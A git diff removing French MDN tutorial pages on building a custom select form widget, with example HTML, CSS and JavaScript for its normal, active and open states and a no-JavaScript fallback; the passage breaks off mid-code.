-  border        : 0.2em solid #000; /* 2px */
-  border-radius : 0.4em; /* 4px */
-
-  box-shadow : 0 0.1em 0.2em rgba(0, 0, 0, .45); /* 0 1px 2px */
-
-  background : #F0F0F0;
-  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
-  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
-}
-
-.select .value {
-  display  : inline-block;
-  width    : 100%;
-  overflow : hidden;
-
-  white-space   : nowrap;
-  text-overflow : ellipsis;
-  vertical-align: top;
-}
-
-.select:after {
-  content : "▼";
-  position: absolute;
-  z-index : 1;
-  height  : 100%;
-  width   : 2em; /* 20px */
-  top     : 0;
-  right   : 0;
-
-  padding-top : .1em;
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  text-align : center;
-
-  border-left  : .2em solid #000;
-  border-radius: 0 .1em .1em 0;
-
-  background-color : #000;
-  color : #FFF;
-}
-
-.select .optList {
-  z-index : 2;
-
-  list-style: none;
-  margin : 0;
-  padding: 0;
-
-  background: #f0f0f0;
-  border: .2em solid #000;
-  border-top-width : .1em;
-  border-radius: 0 0 .4em .4em;
-
-  box-shadow: 0 .2em .4em rgba(0,0,0,.4);
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  min-width : 100%;
-  max-height: 10em; /* 100px */
-  overflow-y: auto;
-  overflow-x: hidden;
-}
-
-.select .option {
-  padding: .2em .3em;
-}
-
-.select .highlight {
-  background: #000;
-  color: #FFF;
-}
- -

Resultat pour état ouvert

- -
{{ EmbedLiveSample("Open_state", 120, 130) }}
diff --git "a/files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalis\303\251s/exemple_2/index.html" "b/files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalis\303\251s/exemple_2/index.html" deleted file mode 100644 index dfb0eb3b6a..0000000000 --- "a/files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalis\303\251s/exemple_2/index.html" +++ /dev/null @@ -1,215 +0,0 @@ ---- -title: Exemple 2 -slug: >- - Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Exemple_2 -tags: - - Formulaires - - HTML -translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_2 ---- -

Ceci est le deuxième exemple expliquant comment construire un formulaire personnalisé.

- -

JS

- -

HTML Content

- -
<form class="no-widget">
-  <select name="myFruit">
-      <option>Cerise</option>
-      <option>Citron</option>
-      <option>Banane</option>
-      <option>Fraise</option>
-      <option>Pomme</option>
-  </select>
-
-  <div class="select">
-    <span class="value">Cerise</span>
-    <ul class="optList hidden">
-      <li class="option">Cerise</li>
-      <li class="option">Citron</li>
-      <li class="option">Banane</li>
-      <li class="option">Fraise</li>
-      <li class="option">Pomme</li>
-    </ul>
-  </div>
-<form>
-
- -

CSS Content

- -
.widget select,
-.no-widget .select {
-  position : absolute;
-  left     : -5000em;
-  height   : 0;
-  overflow : hidden;
-}
-
-/* --------------- */
-/* Styles requis   */
-/* --------------- */
-
-.select {
-  position: relative;
-  display : inline-block;
-}
-
-.select.active,
-.select:focus {
-  box-shadow: 0 0 3px 1px #227755;
-  outline: none;
-}
-
-.select .optList {
-  position: absolute;
-  top     : 100%;
-  left    : 0;
-}
-
-.select .optList.hidden {
-  max-height: 0;
-  visibility: hidden;
-}
-
-/* ------------ */
-/* Styles décor */
-/* ------------ */
-
-.select {
-  font-size   : 0.625em; /* 10px */
-  font-family : Verdana, Arial, sans-serif;
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */
-  width   : 10em; /* 100px */
-
-  border        : 0.2em solid #000; /* 2px */
-  border-radius : 0.4em; /* 4px */
-
-  box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
-
-  background : #F0F0F0;
-  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
-  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
-}
-
-.select .value {
-  display  : inline-block;
-  width    : 100%;
-  overflow : hidden;
-
-  white-space   : nowrap;
-  text-overflow : ellipsis;
-  vertical-align: top;
-}
-
-.select:after {
-  content : "▼";
-  position: absolute;
-  z-index : 1;
-  height  : 100%;
-  width   : 2em; /* 20px */
-  top     : 0;
-  right   : 0;
-
-  padding-top : .1em;
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  text-align : center;
-
-  border-left  : .2em solid #000;
-  border-radius: 0 .1em .1em 0;
-
-  background-color : #000;
-  color : #FFF;
-}
-
-.select .optList {
-  z-index : 2;
-
-  list-style: none;
-  margin : 0;
-  padding: 0;
-
-  background: #f0f0f0;
-  border: .2em solid #000;
-  border-top-width : .1em;
-  border-radius: 0 0 .4em .4em;
-
-  box-shadow: 0 .2em .4em rgba(0,0,0,.4);
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  min-width : 100%;
-  max-height: 10em; /* 100px */
-  overflow-y: auto;
-  overflow-x: hidden;
-}
-
-.select .option {
-  padding: .2em .3em;
-}
-
-.select .highlight {
-  background: #000;
-  color: #FFFFFF;
-}
- -

Contenu JavaScript

- -
window.addEventListener("load", function () {
-  var form = document.querySelector('form');
-
-  form.classList.remove("no-widget");
-  form.classList.add("widget");
-});
- -

Résultat avec JavaScript

- -

{{ EmbedLiveSample('JS', 120, 130) }}

- -

Sans JS

- -

HTML Content

- -
<form class="no-widget">
-  <select name="myFruit">
-      <option>Cerise</option>
-      <option>Citron</option>
-      <option>Banane</option>
-      <option>Fraise</option>
-      <option>Pomme</option>
-  </select>
-
-  <div class="select">
-    <span class="value">Cerise</span>
-    <ul class="optList hidden">
-      <li class="option">Cerise</li>
-      <li class="option">Citron</li>
-      <li class="option">Banane</li>
-      <li class="option">Fraise</li>
-      <li class="option">Pomme</li>
-    </ul>
-  </div>
-<form>
- -

CSS Content

- -
.widget select,
-.no-widget .select {
-  position : absolute;
-  left     : -5000em;
-  height   : 0;
-  overflow : hidden;
-}
- -

Result for No JS

- -

{{ EmbedLiveSample('No_JS', 120, 130) }}

- -

 

diff --git "a/files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalis\303\251s/index.html" "b/files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalis\303\251s/index.html" deleted file mode 100644 index 4173ff9f9c..0000000000 --- "a/files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalis\303\251s/index.html" +++ /dev/null @@ -1,837 +0,0 @@ ---- -title: Comment construire des widgets de formulaires personnalisés -slug: >- - Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés -tags: - - Avancé - - Exemple - - Formulaires - - Guide - - HTML - - Web -translation_of: Learn/Forms/How_to_build_custom_form_controls ---- -
{{LearnSidebar}}{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Validation_donnees_formulaire", "Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript", "Web/Guide/HTML/Formulaires")}}
- -

Dans de nombreux cas les widgets de formulaires HTML disponibles ne suffisent pas. Si vous voulez composer certains widgets dans un style avancé tels que l'élément {{HTMLElement("select")}} ou si vous voulez leur donner des comportements personnalisés, vous n'avez pas d'autre choix que de créer vos propres widgets.

- -

Dans cet article, nous verrons comment construire un tel widget. Pour cela, nous allons travailler avec un exemple : reconstruire l'élément {{HTMLElement("select")}}.

- -
-

Note : Nous nous resterons centrés sur la construction des widgets, et non sur la façon de rendre le code générique et réutilisable ; cela impliquerait une manipulation de code JavaScript et de DOM dans un contexte inconnu, et nous sortirions de la portée de cet article.

-
- -

Conception, structure et sémantique

- -

Avant de créer un widget personnalisé, il faut commencer par déterminer exactement ce que vous voulez. Vous gagnerez ainsi un temps précieux. En particulier, il est important de définir clairement tous les états de votre widget. Pour ce faire, il est bon de commencer par un widget existant dont les états et le comportement sont bien connus, afin que vous puissiez simplement les imiter autant que possible.

- -

Dans notre exemple, nous allons reconstruire l'élément {{HTMLElement("select")}}}. Voici le résultat que nous voulons atteindre :

- -

The three states of a select box

- -

Cette capture d'écran montre les trois états principaux du widget : l'état normal (à gauche), l'état actif (au milieu) et l'état ouvert (à droite).

- -

En termes de comportement, nous voulons que notre widget soit utilisable aussi bien avec une souris qu'avec un clavier, comme n'importe quel widget natif. Commençons par définir comment le widget atteint chaque état :

- -
-
Le widget est dans son état normal :
-
-
    -
  • la page se charge
    • -
  • le widget était actif et l'utilisateur a cliqué quelque part en dehors du widget
    • -
  • le widget était actif et l'utilisateur a déplacé le focus sur un autre avec le clavier
    • -
-
-
- -

 

- -
-
-
-

Note : Déplacer le focus dans la page entre les divers widgets se fait généralement en appuyant sur la touche de tabulation, mais ce n'est pas la norme partout. Par exemple, circuler parmi les liens sur une page se fait dans Safari par défaut en utilisant la combinaison Option+Tab.

-
-
-
Le widget est sans son état actif :
-
-
    -
  • l'utilisateur clique sur lui
    • -
  • l'utilisateur presse la touche Tabulation et obtient le focus
    • -
  • le widget était dans l'état ouvert et l'utilisateur a cliqué dessus.
    • -
-
-
Le widget est dans un état ouvert :
-
-
    -
  • le widget est dans un état autre que ouvert et l'utilisateur clique dessus.
    • -
-
-
- -

Maintenant que nous savons comment changer les états du widget, il est important de définir comment changer la valeur du widget :

- -
-
La valeur change quand :
-
-
    -
  • l'utilisateur clique sur une option quand le widget est dans l'état ouvert
    • -
  • l'utilisateur presse la touche ↑ ou ↓ quand le widget est dans l'état actif
    • -
-
-
- -

Enfin, définissons comment les options du widget doivent se comporter :

- -
    -
  • Quand le widget est ouvert, l'option sélectionnée est mise en valeur
    • -
  • Quand la souris est sur une option, l'option est mise en valeur et l'option précédemment mise en valeur revient à l'état normal
    • -
- -

Pour les besoins de notre exemple, nous nous arrêterons là ; cependant, si vous êtes un lecteur attentif, vous remarquerez que certains comportements ne sont pas précisés. Par exemple, que pensez-vous qu'il se passe si l'utilisateur appuie sur la touche Tabulation alors que le widget est dans l'état ouvert ? La réponse est… rien. D'accord, le bon comportement semble évident mais le fait est que, comme il n'est pas défini dans nos spécifications, il est très facile de fermer les yeux sur ce comportement. Dans un travail collaboratif, lorsque les personnes concevant le comportement du widget sont différentes de celles qui le mettent en œuvre, cette démarche se vérifiera.

- -

Autre exemple amusant : que se passera-t-il si l'utilisateur presse les touches ↑ ou ↓ alors que le widget est à l'état ouvert ? Ici, c'est un peu plus délicat. Si vous considérez que l'état actif et l'état ouvert sont totalement différents, la réponse est encore une fois « rien ne se produira » parce que nous n'avons pas défini d'interactions clavier pour l'état ouvert. D'autre part, si vous considérez que l'état actif et l'état ouvert coïncident, la valeur peut changer mais l'option ne sera certainement pas mise en valeur en conséquence, encore une fois parce que nous n'avons pas défini d'interactions clavier sur les options lorsque le widget est dans son état ouvert (nous avons seulement défini ce qui doit se passer lorsque le widget est ouvert, mais rien après).

- -

Dans notre exemple, les spécifications manquantes sont évidentes et nous les traiterons, mais cela peut devenir un problème réel sur de nouveaux widgets exotiques, pour lesquels personne n'a la moindre idée de ce qu'est le bon comportement. Il est donc toujours bon de passer du temps à l'étape conception, car si vous définissez pauvrement le comportement, ou si vous oubliez de le définir, il sera très difficile de le redéfinir une fois les utilisateurs habitués. Si vous avez des doutes, demandez l'avis des autres, et si vous avez le budget pour cela, n'hésitez pas à faire des tests utilisateur. Ce processus est appelé UX Design (User eXperience). Si vous voulez en savoir plus sur ce sujet, vous devriez consulter les ressources utiles suivantes :

- - - -
-

Note : De plus, dans la plupart des systèmes, il y a moyen d'ouvrir l'élément {{HTMLElement("select")}} pour voir tous les choix disponibles (c'est la même chose que de cliquer sur l'élément {{HTMLElement("select")}} avec une souris). Cela se fait avec Alt+↓ sous Windows et n'a pas été implémenté dans notre exemple - mais il serait facile de le faire, car le mécanisme a déjà été implémenté pour l'événement click.

-
- -

Definition de la structure HTML et de la sémantique

- -

Maintenant que la fonctionnalité de base du widget a été décidée, il est temps de commencer à construire notre widget. La première étape consiste à définir sa structure HTML et à lui donner une sémantique de base. Voici ce dont nous avons besoin pour reconstruire un élément <select> :

- -
<!-- Ceci est notre conteneur principal pour le widget. L'attribut tabindex
-     est ce qui permet à l'utilisateur de mettre le focus sur le widget.
-     Nous verrons plus loin que c'est mieux de le faire avec JavaScript. -->
-<div class="select" tabindex="0">
-
-  <!-- Ce containeur sera utilisé pour afficher la valeur courante du widget -->
-  <span class="value">Cerise</span>
-
-  <!-- Ce conteneur contiendra toutes les options disponibles pour le widget.
-       Comme c'est une liste, il y sens à utiliser l'élément ul. -->
-  <ul class="optList">
-    <!-- Chaque option ne contient que la valeur à afficher, Nous verrons plus loin
-         comment gérer la valeur réelle qui sera envoyée avec les données du formulaire -->
-    <li class="option">Cerise</li>
-    <li class="option">Citron</li>
-    <li class="option">Banane</li>
-    <li class="option">Fraise</li>
-    <li class="option">Pomme</li>
-  </ul>
-
-</div>
- -

Notez l'utilisation de noms de classes qui identifient chaque partie pertinente indépendamment des éléments HTML sous-jacents utilisés. Ceci est important pour s'assurer que nous n'allons pas lier les CSS et JavaScript à une structure HTML forte, pour pouvoir faire des changements d'implémentation plus tard sans casser le code qui utilise le widget. Par exemple, si vous souhaitez implémenter l'équivalent de l'élément {{HTMLElement("optgroup")}}.

- -

Composition et ressenti avec les CSS

- -

Maintenant que nous avons une structure, nous pouvons commencer à concevoir notre widget. Le but de construire un widget personnalisé est de pouvoir lui donner exactement le style que nous voulons. Pour cela, nous allons partager le travail sur les CSS en deux parties : la première relative aux règles des CSS absolument nécessaires pour que notre widget se comporte comme un élément {{HTMLElement("select")}}, la seconde constituée des décorations utilisés lui donnant un aspect personnalisé.

- -

Styles obligatoires

- -

Les styles obligatoires sont ceux nécessaires à la gestion des trois états du widget.

- -
.select {
-  /* Celui-ci crée un contexte de positionnement pour la liste des options */
-  position: relative;
-
-  /* Celui-ci fait que le widget devient partie du flot textuel
-     et devient en même temps dimensionnable */
-  display : inline-block;
-}
- -

Nous avons besoin d'une classe active supplémentaire pour définir l'apparence du widget dans son état actif. Comme le widget peut recevoir le focus, nous doublons ce style personnalisé avec la pseudo-classe {{cssxref(":focus")}} afin d'être sûrs qu'elles se comporteront de la même manière.

- -
.select.active,
-.select:focus {
-  outline: none;
-
-  /* Cette propriété box-shadow n'est pas requise à proprement parler, mais il est
-     important de s'assurer que l'état actif soit visible, c'est pourquoi nous
-     utilisons une valeur par défaut. Vous êtes libre de la modifier. */
-  box-shadow: 0 0 3px 1px #227755;
-}
- -

Passons maintenant à la liste des options :

- -
/* Le sélecteur .select ici est du sucre syntaxique (le fait de donner au
-   programmeur des possibilités d'écriture plus succinctes ou plus proches
-   d'une notation usuelle) pour s'assurer que les classes que nous définissons
-   sont les seules à l'intérieur du widget. */
-.select .optList {
-  /* Ceci assure que la liste des options sera affichée au dessous de la valeur
-     et en dehors du flot HTML */
-  position : absolute;
-  top      : 100%;
-  left     : 0;
-}
- -

Nous avons besoin d'une classe supplémentaire pour gérer la liste d'options cachée. Ceci est nécessaire pour la gestion des différences entre état actif et état ouvert qui ne correspondent pas exactement.

- -
.select .optList.hidden {
-  /* Ceci est un moyen simple pour cacher la liste tout en conservant l'accessibilité,
-     nous reparlerons plus loin d'accessibilité */
-  max-height: 0;
-  visibility: hidden;
-}
- -

Embellissements

- -

Maintenant que nous avons mis en place les fonctionnalités de base, le divertissement peut commencer. Ce qui suit n'est qu'un exemple de ce qui est possible, et correspondra à la capture d'écran au début de cet article. Cependant, vous devriez vous sentir libre d'expérimenter et de voir ce que cela donne.

- -
.select {
-  /* Toutes les tailles seront exprimées en valeurs em (lettre M, étalon
-     du cadratin : cadre dans lequel sont dessinées toutes les lettres d'une
-     police de caractères) pour des raisons d'accessibilité (pour être sûrs
-     que le widget reste redimensionnable si l'utilisateur utilise le zoom
-     du navigateur en mode texte exclusif). Les calculs sont faits en
-     supposant que 1em==16px qui est la valeur par défaut dans la majorité
-     des navigateurs. Si vous êtes perdus avec les conversions entre px et
-     em, essayez http://riddle.pl/emcalc/ */
-  font-size   : 0.625em; /* ceci (10px) est le nouveau contexte de taille de
-     police pour la valeur em dans ce contexte. */
-  font-family : Verdana, Arial, sans-serif;
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  /* Nous avons besoin de plus d'espace pour la flèche vers le bas que nous
-     allons ajouter. */
-  padding : .1em 2.5em .2em .5em; /* 1px 25px 2px 5px */
-  width   : 10em; /* 100px */
-
-  border        : .2em solid #000; /* 2px */
-  border-radius : .4em; /* 4px */
-  box-shadow    : 0 .1em .2em rgba(0,0,0,.45); /* 0 1px 2px */
-
-  /* La première déclaration concerne les navigateurs qui ne prennent pas en
-     charge les gradients linéaires. La deuxième déclaration est parce que
-     les navigateurs basés sur WebKit ne l'ont pas encore préfixé. Si vous
-     souhaitez prendre en charge les anciens navigateurs, essayez
-     http://www.colorzilla.com/gradient-editor/ */
-  background : #F0F0F0;
-  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
-  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
-}
-
-.select .value {
-  /* Comme la valeur peut être plus large que le widget, nous devons nous
-     assurer qu'elle ne changera pas la largeur du widget. */
-  display  : inline-block;
-  width    : 100%;
-  overflow : hidden;
-
-  vertical-align: top;
-
-  /* Et si le contenu déborde, c'est mieux d'avoir une jolie abreviation. */
-  white-space  : nowrap;
-  text-overflow: ellipsis;
-
- -

Nous n'avons pas besoin d'un élément supplémentaire pour concevoir la flèche vers le bas ; à la place, nous utilisons le pseudo-élément {{cssxref(":after:after")}}. Cependant, elle pourrait également être mise en œuvre à l'aide d'une simple image de fond sur la classe select.

- -
.select:after {
-  content : "▼"; /* Nous utilisons le caractère unicode U+25BC;
-                    voir http://www.utf8-chartable.de */
-  position: absolute;
-  z-index : 1; /* Il est important d'empêcher la flèche de chevaucher la liste des options */
-  top     : 0;
-  right   : 0;
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  height  : 100%;
-  width   : 2em;  /* 20px */
-  padding-top : .1em; /* 1px */
-
-  border-left  : .2em solid #000; /* 2px */
-  border-radius: 0 .1em .1em 0;  /* 0 1px 1px 0 */
-
-  background-color : #000;
-  color : #FFF;
-  text-align : center;
-}
- -

Maintenant, composons la décoration de la liste des options :

- -
.select .optList {
-  z-index : 2; /* Nous disons explicitement que la liste des options doit toujours passer sur la flèche */
-
-  /* cela réinitialiser le style par défaut de l'élément ul */
-  list-style: none;
-  margin : 0;
-  padding: 0;
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  /* Cela nous assure que même si les valeurs sont plus petites que le widget,
-     la liste des options sera aussi large que le widget lui‑même */
-  min-width : 100%;
-
-  /* Dans le cas où la liste est trop longue, son contenu débordera verticalement
-     (ce qui ajoutera une barre de déroulement automatiquement) mais jamais horizontalement
-     (car nous n'avons jamais défini de largeur, la liste ajustera automatiquement sa largeur
-     Si ce n'est pas possible, le contenu sera tronqué) */
-  max-height: 10em; /* 100px */
-  overflow-y: auto;
-  overflow-x: hidden;
-
-  border: .2em solid #000; /* 2px */
-  border-top-width : .1em; /* 1px */
-  border-radius: 0 0 .4em .4em; /* 0 0 4px 4px */
-
-  box-shadow: 0 .2em .4em rgba(0,0,0,.4); /* 0 2px 4px */
-  background: #f0f0f0;
-}
- -

Pour les options, nous devons ajouter une classe highlight pour pouvoir identifier la valeur que l'utilisateur choisira (ou a choisi).

- -
.select .option {
-  padding: .2em .3em; /* 2px 3px */
-}
-
-.select .highlight {
-  background: #000;
-  color: #FFFFFF;
-}
- -

Donc, voici le résultat avec les trois états :

- - - - - - - - - - - - - - - - - - - -
Basic stateActive stateOpen state
{{EmbedLiveSample('Basic_state',120,130, "", "Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Exemple_1")}}{{EmbedLiveSample("Active_state",120,130, "", "Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Exemple_1")}}{{EmbedLiveSample("Open_state",120,130, "", "Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Exemple_1")}}
Check out the source code
- -

Donnez vie à votre widget avec JavaScript

- -

Maintenant que le design et la structure sont prêts, nous pouvons écrire le code JAvaScript pour que le widget fonctionne vraiment.

- -
-

Avertissement : Le code qui suit a été conçu à des fins éducatives et ne doit pas être utilisé tel quel. Entre autres choses, comme nous le verrons, il n'est pas à l'épreuve du temps et ne fonctionnera pas sur des navigateurs historiques. Il comporte également des parties redondantes. Elles devraient être optimisées pour du code de production.

-
- -
-

Note : Créer des widgets réutilisables peut se révéler un peu délicat. L'ébauche de la norme « W3C Web Component » apporte des réponses à cette question particulière. Le projet X-Tag est un essai de mise en œuvre de cette spécification ; nous vous encourageons à y jeter un coup d'œil.

-
- -

Pourquoi ne fonctionne-t-il pas ?

- -

 

- -

Avant de commencer, il est important de se rappeler quelque chose de très important à propos de JavaScript : dans un navigateur, c'est une technique peu fiable. Lorsque vous créez des widgets personnalisés, vous êtes obligé de faire appel à JavaScript parce que c'est un fil nécessaire pour tout lier ensemble. Cependant, il existe de nombreux cas dans lesquels JavaScript n'est pas capable de s'exécuter dans le navigateur :

- -
    -
  • L'utilisateur a désactivé le JavaScript : c'est un cas assez inhabituel, peu de personnes désactivent le JavaScript de nos jours.
    • -
  • Le script ne se charge pas. La chose est très courante, en particulier dans le domaine des mobiles pour lesquels le réseau n'est pas sûr.
    • -
  • Le script est bogué. Il faut toujours prendre en considération cette éventualité.
    • -
  • Le script est en conflit avec un autre script tierce‑partie. Cela peut se produire avec des suites de scripts ou n'importe quel marque page utilisé par l'utilisateur.
    • -
  • Le script est en conflit avec, ou est affecté par un extension de navigateur  (comme l'extension « No script » de Firefox ou « Scripts » de Chrome).
    • -
  • L'utilisateur utilise un navigateur ancien et l'une des fonctions dont vous avez besoin n'est pas prise en charge. Cela se produira fréquemment lorsque vous utiliserez des API de pointe.s.
    • -
- -

 

- -

 

- -

En raison de ces aléas, il est vraiment important de considérer avec sérieux ce qui se passe si JavaScript ne fonctionne pas. Traiter en détail cette question est hors de la portée de cet article parce qu'elle est étroitement liée à la façon dont vous voulez rendre votre script générique et réutilisable, mais nous prendrons en considération les bases de ce sujet dans notre exemple.

- -

Ainsi, si notre code JavaScript ne s'exécute pas, nous reviendrons à l'affichage d'un élément  {{HTMLElement("select")}} standard. Pour y parvenir, nous avons besoin de deux choses.

- -

Tout d'abord, nous devons ajouter un élément {{HTMLElement("select")}} régulier avant chaque utilisation de notre widget personnalisé. Ceci est également nécessaire pour pouvoir envoyer les données de notre widget personnalisé avec le reste de nos données du formulaire ; nous reviendrons sur ce point plus tard.

- -

 

- -
<body class="no-widget">
-  <form>
-    <select name="myFruit">
-      <option>Cerise</option>
-      <option>Citron</option>
-      <option>Banane</option>
-      <option>Fraise</option>
-      <option>Pomme</option>
-    </select>
-
-    <div class="select">
-      <span class="value">Cerise</span>
-      <ul class="optList hidden">
-        <li class="option">Cerise</li>
-        <li class="option">Citron</li>
-        <li class="option">Banane</li>
-        <li class="option">Fraise</li>
-        <li class="option">Pomme</li>
-      </ul>
-    </div>
-  </form>
-
-</body>
- -

 

- -

Deuxièmement, nous avons besoin de deux nouvelles classes pour nous permettre de cacher l'élément qui ne sert pas (c'est-à-dire l'élément{{HTMLElement("select")}} « réel »  si notre script ne fonctionne pas, ou le widget personnalisé s'il fonctionne). Notez que par défaut, le code HTML cache le widget personnalisé.

- -
.widget select,
-.no-widget .select {
-  /* Ce sélecteur CSS dit fondamentalement :
-     - soit la classe body est "widget" et donc l'élément {{HTMLElement("select")}} réel sera caché
-     - soit la classe body n'a pas changé, elle est toujours "no-widget",
-       et donc les éléments, dont la classe est « select », doivent être cachés */
-  position : absolute;
-  left     : -5000em;
-  height   : 0;
-  overflow : hidden;
-}
- -

 

- -

Maintenant nous avons juste besoin d'un commutateur JavaScript pour déterminer si le script est en cours d'exécution ou non. Cette bascule  est très simple : si au moment du chargement de la page notre script est en cours d'exécution, il supprime la classe no-widget et ajoute la classe widget, échangeant ainsi la visibilité de l'élément {{HTMLElement("select")}} et du widget personnalisé.

- -

 

- -

 

- -
window.addEventListener("load", function () {
-  document.body.classList.remove("no-widget");
-  document.body.classList.add("widget");
-});
- - - - - - - - - - - - - - - - - -
Sans JavaScriptAvec JavaScript
{{EmbedLiveSample("No_JS",120,130, "", "Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Exemple_2")}}{{EmbedLiveSample("JS",120,130, "", "Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Exemple_2")}}
Testez le code source
- -
-

Note : Si vous voulez vraiment rendre votre code générique et réutilisable, au lieu de faire un changement de classe, il est préférable d'ajouter la classe widget pour cacher les éléments {{HTMLElement("select")}} et d'ajouter dynamiquement l'arbre DOM représentant le widget personnalisé après chaque élément {{HTMLElement("select")}} dans la page.

-
- -

Rendre le travail plus facile

- -

 

- -

Dans le code que nous sommes sur le point de construire, nous utiliserons l'API standard DOM pour faire tout le travail dont nous avons besoin. Cependant, bien que la prise en charge de l'API DOM se soit améliorée dans les navigateurs, il y a toujours des problèmes avec les anciens navigateurs (surtout avec le bon vieux navigateur Internet Explorer).

- -

Si vous voulez éviter les problèmes avec les navigateurs anciens, il y a deux façons de le faire : en utilisant un framework dédié tel que jQuery, $dom, prototype, Dojo, YUI ou similaire, ou bien en remplissant la fonctionnalité manquante que vous voulez utiliser (ce qui peut facilement être fait par un chargement conditionnel, avec la bibliothèque yepnope par exemple).

- -

Les fonctionnalités que nous prévoyons d'utiliser sont les suivantes (classées de la plus risquée à la plus sûre) :

- -
    -
  1. {{domxref("element.classList","classList")}}
    2. -
  2. {{domxref("EventTarget.addEventListener","addEventListener")}}
    3. -
  3. forEach (ce n'est pas du DOM mais du JavaScript moderne)
    4. -
  4. {{domxref("element.querySelector","querySelector")}} et {{domxref("element.querySelectorAll","querySelectorAll")}}
    5. -
- -

Au-delà de la disponibilité de ces fonctionnalités spécifiques, il reste encore un problème avant de commencer. L'objet retourné par la fonction {{domxref("element.querySelectorAll","querySelectorAll()")}} est une {{domxref("NodeList")}} plutôt qu'un Array. C'est important, car les objets  Array acceptent la fonction forEach, mais {{domxref("NodeList")}} ne le fait pas. Comme {{domxref("NodeList")}} ressemble vraiment à un Array et que forEach est d'utilisation si commode, nous pouvons facilement ajouter la prise en charge de forEach à {{domxref("NodeList")}} pour nous faciliter la vie, comme ceci :

- -
NodeList.prototype.forEach = function (callback) {
-  Array.prototype.forEach.call(this, callback);
-}
- -

On ne plaisantait pas quand on a dit que c'était facile à faire.

- -

Construction des fonctions de rappel d'événements

- -

Les fondations sont prêtes, nous pouvons maintenant commencer à définir toutes les fonctions à utiliser chaque fois que l'utilisateur interagit avec notre widget.

- -
// Cette fonction est utilisée chaque fois que nous voulons désactiver un
-// widget personnalisé. Elle prend un paramètre
-// select : le nœud DOM avec la classe select à désactiver
-function deactivateSelect(select) {
-
-  // Si le widget n'est pas actif, il n'y a rien à faire
-  if (!select.classList.contains('active')) return;
-
-  // Nous devons obtenir la liste des options pour le widget personnalisé
-  var optList = select.querySelector('.optList');
-
-  // Nous cachons la liste des options
-  optList.classList.add('hidden');
-
-  // et nous désactivons le widget personnalisé lui-même
-  select.classList.remove('active');
-}
-
-// Cette fonction sera utilisée chaque fois que l'utilisateur veut (des)activer le widget
-// Elle prend deux paramètres :
-// select : le nœud DOM de la classe `select` à activer
-// selectList : la liste de tous les nœuds DOM de la classe `select`
-function activeSelect(select, selectList) {
-
-  // Si le widget est déjà actif il n'y a rien à faire
-  if (select.classList.contains('active')) return;
-
-  // Nous devons désactiver tous les widgets personnalisés
-  // comme la fonction deactivateSelect remplit toutes les fonctionnalités de la
-  // fonction de rappel forEach, nous l'utilisons directement sans utiliser
-  // une fonction anonyme intermédiaire.
-  selectList.forEach(deactivateSelect);
-
-  // Et nous activons l'état du widget donné
-  select.classList.add('active');
-}
-
-// Cette fonction sera utilisée chaque fois que l'utilisateur veut enrouler/dérouler la
-// liste des options
-// Elle prend un paramètre :
-// select : le nœud DOM de la liste à basculer
-function toggleOptList(select) {
-
-  // La liste est prise à partir du widget
-  var optList = select.querySelector('.optList');
-
-  // Nous changeons la classe de la liste pour l'enrouler/dérouler
-  optList.classList.toggle('hidden');
-}
-
-// Cett fonction sera utilisée chaque fois qu'il faut mettre en surbrillance
-// une option.  Elle prend deux paramètres :
-// select : le nœud DOM de la classe `select`
-//          contenant l'option à mettre en surbrillance
-// option : le nœud DOM de la classe `option` à mettre en surbrillance
-function highlightOption(select, option) {
-
-  // Obtenir la liste de toutes les options disponibles pour l'élémént sélectionné
-  var optionList = select.querySelectorAll('.option');
-
-  // Supprimer la surbrillance pour toutes les options
-  optionList.forEach(function (other) {
-    other.classList.remove('highlight');
-  });
-
-  // Mettre en surbrillance l'option correcte
-  option.classList.add('highlight');
-};
- -

C'est tout ce dont on a besoin pour gérer les différents états du widget personnalisé.

- -

Ensuite, nous assujettissons ces fonctions aux événement appropriés :

- -
// Nous lions le widget aux événements dès le chargement du document
-window.addEventListener('load', function () {
-  var selectList = document.querySelectorAll('.select');
-
-  // Chaque widget personnalisé doit être initialisé
-  selectList.forEach(function (select) {
-
-    // de même que tous les éléments `option`
-    var optionList = select.querySelectorAll('.option');
-
-    // Chaque fois que l'utilisateur passe le pointeur de souris
-    // sur une option, nous mettons en surbrillance la dite option
-
-    optionList.forEach(function (option) {
-      option.addEventListener('mouseover', function () {
